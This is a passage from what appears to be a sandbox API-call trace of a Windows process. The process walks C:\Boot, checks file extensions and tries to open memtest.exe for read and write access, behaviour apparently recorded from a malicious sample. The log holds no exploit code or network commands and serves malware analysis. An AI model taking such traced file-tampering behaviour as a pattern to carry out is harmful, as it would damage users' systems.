ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0266.928] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.928] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.928] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c) returned 0x3077458 [0266.928] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076df0 [0266.928] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.928] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.929] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x38) returned 0x3091560 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0266.929] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x640000) returned 1 [0266.929] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.929] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.929] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.929] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x54) returned 0x3083390 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076df0 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e40 [0266.929] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0266.929] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.929] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3091560 | out: hHeap=0x640000) returned 1 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.929] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.929] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.929] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.929] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0266.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0266.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077340 [0266.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x640000) returned 1 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x640000) returned 1 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3083390 | out: hHeap=0x640000) returned 1 [0266.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.930] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0266.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa8) returned 0x3056730 [0266.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e40 [0266.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076df0 [0266.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077020 [0266.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077340 | out: hHeap=0x640000) returned 1 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0266.930] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.930] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.930] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.931] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfc) returned 0x30b6fa8 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077340 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077070 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e68 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077098 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x640000) returned 1 [0266.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x640000) returned 1 [0266.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077020 | out: hHeap=0x640000) returned 1 [0266.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3056730 | out: hHeap=0x640000) returned 1 [0266.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.931] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.932] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.932] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x16c) returned 0x2faf350 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077020 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076df0 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e40 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cb0 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c88 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c60 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c38 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c10 [0266.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d78 [0266.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077340 | out: hHeap=0x640000) returned 1 [0266.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077070 | out: hHeap=0x640000) returned 1 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x640000) returned 1 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077098 | out: hHeap=0x640000) returned 1 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b6fa8 | out: hHeap=0x640000) returned 1 [0266.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.933] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0266.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.933] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0266.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.933] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0266.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.934] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0266.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.934] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0266.934] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.934] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0266.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x214) returned 0x30727c0 [0266.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077098 [0266.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e68 [0266.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077070 [0266.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0266.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077340 [0266.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0266.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f58 [0266.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e90 [0266.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f30 [0266.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077318 [0266.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30772f0 [0266.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30772c8 [0266.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30772a0 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077020 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076df0 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cb0 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c60 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c38 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c10 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2faf350 | out: hHeap=0x640000) returned 1 [0266.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.935] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.936] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: 